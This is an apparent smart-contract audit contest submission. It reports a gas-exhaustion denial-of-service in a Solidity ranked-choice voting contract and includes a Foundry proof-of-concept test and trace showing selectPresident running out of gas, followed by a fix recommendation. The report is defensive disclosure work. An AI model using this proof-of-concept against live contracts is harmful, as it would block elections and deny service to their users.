President Elector

First Flight #24
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

Possible DoS in `RankedChoice.sol`

Summary

There is a limit on the number of candidates one voter can rank but there is no limit on the number of total candidates. This could lead to the contract running out of gas and a potential DoS attack.

Vulnerability Details

Suppose there are 100 voters in the VOTERS array. There is a limit of 10 candidates per orderedCandidates list. Suppose those 100 voters all have a different set of 10 candidates that they want to rank for President. This would lead to the contract running out of funds as it would call the recursive function _selectPresidentRecursive 1000 times, while each function call would lead to the execution of a nested loop. This would lead to an unimaginably high gas cost and would lead to the contract reverting every single call made to it beginning from that selectPresident call that would trigger the tremendous gas expenditure.

This is a test function that would prove that the gas limit of the contract being reached is quite possible:

...
uint256 constant MAX_CANDIDATES = 1000;
...
function setUp() public {
... // same setup as before
}
function testDoSOnSelectPresident() public {
uint256 gasStart = gasleft();
console.log("Gas Start: ", gasStart);
vm.txGasPrice(1);
uint256 candidateMultiplier = 0;
for(uint256 i = 0; i<100; i++) {
candidateMultiplier = 10*i;
orderedCandidates = [
candidates[candidateMultiplier],
candidates[candidateMultiplier+1],
candidates[candidateMultiplier+2],
candidates[candidateMultiplier+3],
candidates[candidateMultiplier+4],
candidates[candidateMultiplier+5],
candidates[candidateMultiplier+6],
candidates[candidateMultiplier+7],
candidates[candidateMultiplier+8],
candidates[candidateMultiplier+9]
];
vm.prank(voters[i]);
rankedChoice.rankCandidates(orderedCandidates);
}
uint256 gasBeforeSelectingPresident = gasleft();
console.log("Gas left after ranking candidates: ", gasBeforeSelectingPresident);
vm.warp(1461 days);
rankedChoice.selectPresident();
uint256 gasAfterSelectingPresident = gasleft();
console.log("Gas left after selecting president: ", gasAfterSelectingPresident);
uint256 gasUsed = (gasBeforeSelectingPresident - gasAfterSelectingPresident);
console.log("Gas used in selecting president: ", gasUsed);
}

This is a snippet of the output proving that the contract is out of gas:

├─ [1026377701] RankedChoice::selectPresident()
│ └─ ← [OutOfGas] EvmError: OutOfGas
└─ ← [Revert] EvmError: Revert

Impact

Potential DoS attack or lead to exhaustion of contract's gas, making the contract unable to use.

Tools Used

Manual Review, Foundry

Recommendations

Add a limit to the total number of candidates allowed in the elections and try to avoid recursive functions and nested loops.

Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

A high number of candidates could cause an OOG

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.